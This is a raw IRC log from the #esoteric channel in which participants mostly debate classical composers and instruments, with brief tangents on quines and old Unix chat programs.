PRIVMSG #esoteric :hiato yet I like Grieg very much. But a lot of his isn't pompous even though it uses a full orchestra. (Of course some exceptions, like "I dovregubbens sal" (iirc, and "In the hall of the mountain king" in English)) < 1267822391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(yet that one is acceptable somehow) < 1267822406 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: for every given arbitrary finite sequence a function, which generates this sequence, could be described. the problem is: the sequence _must_ contain the implementation of the function < 1267822414 0 :whtspc!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267822438 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, anyone made a GOL "quine"? < 1267822441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267822443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :non-trivial one < 1267822447 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah, everyone has theri own tastes though. funyy that you like grieg though < 1267822451 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :got my point? < 1267822458 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yeah! now you start to apprecaite mendelssohn < 1267822464 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :angstrom: yes; but that's just the same as a normal quine < 1267822469 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :he's brilliant like no other for those concertos < 1267822472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it has a feeling of lightness and open nature about it all through. < 1267822475 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you can see the entire program as a function < 1267822495 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, what, grieg? < 1267822499 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, yes < 1267822512 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I had forgotten... < 1267822513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, don't you just see the fjords when you listen to his music < 1267822527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(well not in all pieces of course) < 1267822531 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: could you provide me with a particular example? all the quines i've seen relly heavily on pre-processor macros < 1267822532 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster hahaha, yeah, I'm pining for the fjords < 1267822538 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey :) < 1267822558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, augh. But seriously... some of Grieg's best is non-Peer-Gynt < 1267822558 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: maybe you are right < 1267822572 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :angstrom: think any BF quine, but interpreted as a function; if you want it to be an actual function in the language, use a BF-like language which has functions < 1267822577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, hardangerfela (sp?) is a nice Norwegian "folk" instrument < 1267822593 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I must disagree. In fact, I find it hard to apprecaite any of his other stuff compare to it < 1267822611 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, http://en.wikipedia.org/wiki/Hardingfele < 1267822619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what? !? < 1267822634 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ic. have to investigate < 1267822635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Peer Gynt is good but nothing like *digs around for cd* < 1267822665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah found it < 1267822704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, hm must check which track on the cd it is I'm thinking about < 1267822757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Norwegian Dance No. 2 for example < 1267822775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, (Allegretto tranquillo e grazioso) < 1267822819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Solveig's Sang is nice though < 1267822820 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :link por favor < 1267822828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(even though it is in Peer Gynt) < 1267822857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, sure: http://www.naxos.com/catalogue/item.asp?item_code=8.551108 < 1267822860 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :though, I think I did try searching for norweigan dance once, after having heard it on theradio < 1267822879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm times out for me that link < 1267822889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah now it loads < 1267822905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, anyway, it is track 3 on that cd. < 1267822919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, solveig's sang you can find any number of < 1267822926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, just pick an instrumental one! < 1267822933 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Schubert's Unfinished is also good. Never been a huge fan of his other stuff though. < 1267822946 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: will do, commencing youtubing now < 1267822949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also Holberg Suite: Prelude is awesome < 1267823025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I imagine a Scandinavian mountainous region, crystal clear weather, slight breeze, mid-morning. < 1267823035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fjords definitely have a place in there! < 1267823079 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :haha :P < 1267823082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it changes feeling towards the end < 1267823089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but to begin with it is definitely like that < 1267823093 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :eh, it keeps timing out, but I will keep searching < 1267823108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also Holberg Suite: Andante is quite nice < 1267823120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not "wow" < 1267823122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but restful < 1267823186 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you see, I like the dramatic music of tchaikovsky, and the tension of prokofiev (esp: dance of the knights/romeo juliet) so it's difficult for me to accept "airy" music like some of this < 1267823207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, tchaikovsky: overly dramatic and somewhat pompous < 1267823225 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I think you and I must have similar tastes. Satie is some of the only music that I like that I would call "airy". < 1267823240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, But would you call Vivaldi's summer, third movement "airy"? < 1267823249 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Tchaikovsky I'm kind of neutral on. < 1267823258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it's supposed to depict a raging thunderstorm ffs! < 1267823260 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Vivaldi rocks. < 1267823271 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I would mostly agree < 1267823284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that movement takes second place on my all time best list < 1267823297 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, the only thing I really like from vivaldi is winter, er, allegro i think < 1267823323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after Kraus' Sinfonia in C# minor movement 4 < 1267823336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, the winter is the worst of the seasons < 1267823339 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I like weird. Some of the composers I like are obviously pretty weird (Prokofiev, Satie, Milhaud, Stravinsky...) I'm trying to figure out what the ones who *aren't* weird, have in common. < 1267823344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course vivaldi did a lot more than just the seasons < 1267823350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some of it very nice < 1267823359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, satie is not weird < 1267823362 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Vivaldi is not weird, neither is Mendelssohn < 1267823381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I recommend you listen to Kraus < 1267823393 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I really can't dig vivaldi < 1267823393 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Satie is extremely weird! It's just hard to hear in some of his pieces < 1267823399 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: to me, those are normal < 1267823401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well that's your issue ;P < 1267823403 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :He wrote a piece for walking stick! < 1267823408 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what AnMaster appreciates, now that's weird ;) < 1267823417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, no! < 1267823436 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, on the other hand, Schoenberg was ... too weird. Schoenberg is like the Malbolge of composers. < 1267823465 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267823469 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I like that comparison < 1267823474 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :never heard his stuff though < 1267823479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, airy music I definitely like. Dramatic: sure, but I definitely forbid more than 0.01 µWagner of pompousness! < 1267823482 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :where satie is BF < 1267823493 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1267823494 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Satie wrote a piece with words, and included the note "These are not lyrics. Under no circumstances should they be spoken aloud during performance" < 1267823505 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, my dad likes Schönberg. And Wagner. < 1267823507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shudder* < 1267823533 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :look, I don't like wagner any more than you, and unfortunately, you have the same taste as my dad AnMaster < 1267823534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, he was quite anti-Wagner iirc < 1267823535 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm, Satie = BF? Maybe... < 1267823546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, "unfortunately"? < 1267823557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, nah, Satie is more like a mild version of intercal < 1267823562 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, we have entirely separarte CD collections < 1267823569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, same here! < 1267823574 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking Satie = Underload, but I'm not familiar enough with Underload to say < 1267823575 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :i cant stand his stuff, he doesn't like mine < 1267823583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :my dad even likes Stravinsky < 1267823587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which I just don't get < 1267823587 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I'm not familiar enough with Satie to say < 1267823596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, it isn't actually horrible < 1267823598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like Wagner is < 1267823604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but, what is the point of Stravinsky... < 1267823606 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah, mine likes water music, which is just atrocious < 1267823621 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The point of Stravinsky is The Rite of Spring. < 1267823622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Händel's water music? < 1267823624 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it is kind of OK < 1267823630 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Not in specific, but yes < 1267823639 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AHHHHH! NOOOOOO! Not you too! < 1267823643 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's about all... a lot of his other stuff is pretty meh. < 1267823643 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, I never knew Handel had an umlaut < 1267823649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, not on my "best" list < 1267823652 0 :chickenzilla!unknown@unknown.invalid PRIVMSG #esoteric :have you tried spectral music ? :) < 1267823654 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: ? < 1267823657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, he dropped it after he moved to UK < 1267823663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, but yes originally he did < 1267823676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and that is an ä not an a with an umlaut < 1267823677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :t! < 1267823680 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I like Handel pretty good. I think he makes my top ten. Or at least, he did once. < 1267823681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/t// < 1267823689 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ok, fine, but try not to listen to it < 1267823693 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1267823697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, water music? < 1267823708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, yeah most movements are a bit too pompous for my taste < 1267823711 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267823714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is one movement in it I like < 1267823721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which one was it now again < 1267823725 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :"airy", insusbstantail, decorative < 1267823728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Alla hornpipe or something? < 1267823745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, the other ones are too pompous definitely, or just not good < 1267823776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also way too few violins in the water music! < 1267823778 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I'm sorry, the act of listening to that and baroque is physically annoying to me, I just can't do it < 1267823788 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What do you think of Couperin? < 1267823797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, "who?" < 1267823807 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I do keep away from Bach played on organ < 1267823816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Bach on piano is quite okay < 1267823825 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: baroque, french, mainly harpsichord/organ < 1267823827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I hate the instrument that is called organ < 1267823828 0 :angstrom!unknown@unknown.invalid NICK :angstrom_ < 1267823842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, harpsichord is quite okay < 1267823848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, organ should be outlawed < 1267823879 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :organ >> harpsicord, have you ever heard of jazz harpsichord? I don't think so < 1267823887 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267823901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then I only enjoy jazz when I happen to listen to it < 1267823907 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.youtube.com/watch?v=UZXzuIsxb64 if you want a sample (it's alright -- I know I've heard better by him, but I can't find it) < 1267823908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :by pure chance < 1267823910 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267823916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it isn't something I actively try to listen to < 1267823936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also organ should be outlawed < 1267823941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I still maintain that < 1267823947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is the worst instrument ever devised < 1267823957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :possibly apart from "opera-style singing" < 1267823963 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not really happy about any instrument that has only one output level < 1267823981 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But I don't think I share AnMaster's organ-hate < 1267823991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hm? that would explain a lot about organs < 1267823993 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Harp, ugh < 1267823993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if that was so < 1267823998 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, you have some serious problems, like, the same sort should I choose to code liktheora in malbolge < 1267824001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, harp can be nice < 1267824020 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :harp is okay, harp as in harmonica is great < 1267824022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, libtheora in malbolge!? < 1267824023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1267824035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I mean, classical harp < 1267824036 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah, harpsichord has one dynamic only. That's why a piano is called a piano (short for pianoforte, i.e. it can be soft *and* loud) < 1267824045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what "harp as in harmonica" *is* < 1267824062 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :harp is blues/jazz slang for harmonica. very confusing < 1267824071 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :harp is slang for harmonica < 1267824074 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :eh, ninja'd < 1267824076 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about spinets? < 1267824104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"ninja'd"? < 1267824108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth does that mean < 1267824118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :harmonica is "meh" < 1267824121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :neutral < 1267824169 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, anyway, I'm not talking about jazz instruments here < 1267824176 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :god you're STILL talking about music < 1267824183 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Not really familiar with them. There are a tonne of percussion/plectra keyboard instruments that have niche roles... < 1267824187 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i went to lunch already < 1267824194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, we were talking about quines a bit in the middle < 1267824201 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: harps are not jazz instruments. < 1267824203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, but well, there was no other discussion going on < 1267824208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I never claimed that < 1267824212 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I think we're mostly talking about instruments now. < 1267824213 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, it was hiato who did < 1267824220 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: from the xkcd forums, someone beats you to someting < 1267824230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, ah... < 1267824232 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament: harp -> harmonica < 1267824240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, xkcd jumped the shark long ago < 1267824240 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yes, harmonicas are not jazz instruments < 1267824246 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :harp -> harmonica confused me for years < 1267824256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :harp is harp < 1267824258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nothing else to me < 1267824263 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :http://goatkcd.com/120/sfw < 1267824266 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, because blues is not jazz. < 1267824292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, nsfw! < 1267824303 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well some people play chromatic harmonicas in a jazz setting < 1267824318 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but when people say harp they usually mean diatonic < 1267824321 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw, has anyone invoked rule 34 on rule 34? < 1267824344 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: jumped the shark? < 1267824349 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I also heard Vivaldi's summer on electric guitar < 1267824349 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And, FWIW, I don't really like harmonica. < 1267824353 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what about rule 42 on rule 34? < 1267824356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, go figure < 1267824365 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I didn't like it at all) < 1267824374 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Glass harmonicas are much cooler. < 1267824377 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament: ok, fair enough, but my original claim was that organs can be < 1267824385 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: most people play harmonicas really badly < 1267824396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, http://tvtropes.org/pmwiki/pmwiki.php/Main/JumpingTheShark < 1267824411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(sorry for that!) < 1267824423 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=_XPfoFZYso8 <-- Glass harmonica. Maybe AnMaster will forgive that it sounds kind of like an organ? < 1267824431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(be aware of that tvtroupes is highly addictive!) < 1267824438 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :After all, harmonica = "mouth organ" < 1267824465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, How does it work? < 1267824483 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Water. < 1267824486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but it gave me half a headache I feel < 1267824497 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION head will explode, as he cannot debug+chat+chat+irc
< 1267824501 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, why is it spinning? < 1267824512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, irc is chat < 1267824515 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is no other chat < 1267824516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267824518 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(never mind blink and breath) < 1267824521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :talk < 1267824524 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is dead < 1267824527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sadly so < 1267824527 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267824533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I still know some people who use talk < 1267824538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes seriously! < 1267824545 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :What? No! < 1267824551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, not only < 1267824552 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Surely thou jesteth! < 1267824553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they use irc too < 1267824557 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :talk, not ntalk? < 1267824562 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or gtalk? < 1267824568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ntalk? < 1267824572 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure < 1267824580 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :like ncurses except for talk, not curses < 1267824581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it uses xinetd I know < 1267824583 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i guess < 1267824592 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :n prolly stood for 'new' < 1267824596 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267824599 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ah ytalk was the program talking the talk protocol I think < 1267824605 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah, ytalk < 1267824615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about ntalk then? < 1267824626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and glass harmonica is *technically* impressive < 1267824629 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :well, the name popped into my head < 1267824634 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i don't remember where its from < 1267824634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sound is less so < 1267824645 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: agreed. it's not the prettiest sound. < 1267824667 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what has the prettiest sound? < 1267824673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, violin < 1267824674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :by far < 1267824675 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION votes cello
< 1267824681 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :violins are high-pitched screechy things < 1267824687 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :skreeech < 1267824687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, they are not < 1267824695 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :skreeeEEEEEEEEEEEEEEEAAURGH < 1267824697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they are vibrantly wonderful harmonics! < 1267824703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/are/have/ < 1267824712 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :they're too high pitched < 1267824716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I disagree < 1267824718 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yet, violas sound like violins with a chest cold. < 1267824718 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267824729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :violas are too high pitched! < 1267824733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that I agree with < 1267824738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :violins are wonderful < 1267824751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, but do you hate that range on other instruments? < 1267824762 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :My vote is either flute or french horn. < 1267824769 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1267824788 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Sax! < 1267824794 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(and that's not a typo) < 1267824795 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Which one? < 1267824799 0 